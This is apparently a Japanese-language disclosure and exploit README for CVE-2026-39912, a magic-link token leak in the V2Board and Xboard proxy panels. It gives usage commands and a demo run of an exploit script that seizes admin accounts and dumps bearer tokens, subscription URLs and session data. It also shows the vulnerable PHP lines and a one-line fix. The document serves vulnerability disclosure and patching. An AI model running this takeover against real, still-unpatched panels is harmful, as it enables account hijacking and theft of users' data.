CVE-2026-39912 - Xboard / V2Board 未認証アカウント乗っ取り

loginWithMailLink におけるマジックリンクトークンの漏洩


CVE	CVE-2026-39912
CVSS	9.1 (重大)
CWE	CWE-201 (送信データへの機密情報の挿入)
影響を受けるバージョン	V2Board >= 1.6.1 から 1.7.4 まで / Xboard 0.1.9+ までの全バージョン
修正状況	未修正 (V2Board は2023年6月以降開発停止)
公開日	2026-04-09
発見者	Valentin Lobstein (Chocapikk)
Writeup	chocapikk.com
修正PR	V2Board #981 / Xboard #873

TL;DR

loginWithMailLink エンドポイントは、マジックログインリンクをメールでのみ送信する代わりに、HTTPレスポンスボディに直接返します。登録済みメールアドレスを知っている未認証の攻撃者は、管理者を含む任意のアカウントを2回のHTTPリクエストで乗っ取ることができます。

影響を受けるソフトウェア

V2Board - オープンソースのプロキシプロトコル管理パネル (8.7kスター、開発停止)
Xboard - V2Board のフォーク (4k+スター、活発にメンテナンス中)

どちらも主に中国で広く展開されているVPN/プロキシパネルです。ZoomEye によると、7,000以上のインスタンスがインターネット上に公開されています。

必要条件

管理者設定で login_with_mail_link_enable が有効になっている必要がある (デフォルトでは無効)
有効な登録済みメールアドレス

使用方法

# Install dependencies
pip install requests

# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]

# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json

デモ

$ python3 exploit.py http://target:7001 [email protected]

 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true

[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK

{
  "auth": {
    "auth_data": "Bearer qCU2d9hS...",
    "is_admin": true
  },
  "dump": {
    "User Info": {
      "email": "[email protected]",
      "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
      ...
    },
    "Subscription": {
      "subscribe_url": "http://target:7001/s/324396af...",
      ...
    },
    "Active Sessions": [ ... ]
  }
}

脆弱性の詳細

V2Board (app/Http/Controllers/Passport/AuthController.php):

SendEmailJob::dispatch([...]);

return response([
    'data' => $link   // Token leaked to caller
]);

Xboard (app/Services/Auth/MailLinkService.php):

$this->sendMailLinkEmail($user, $link);

return [true, $link]; // Same bug, inherited from fork

修正内容

- return [true, $link];
+ return [true, true];

CVE-2026-39912

人気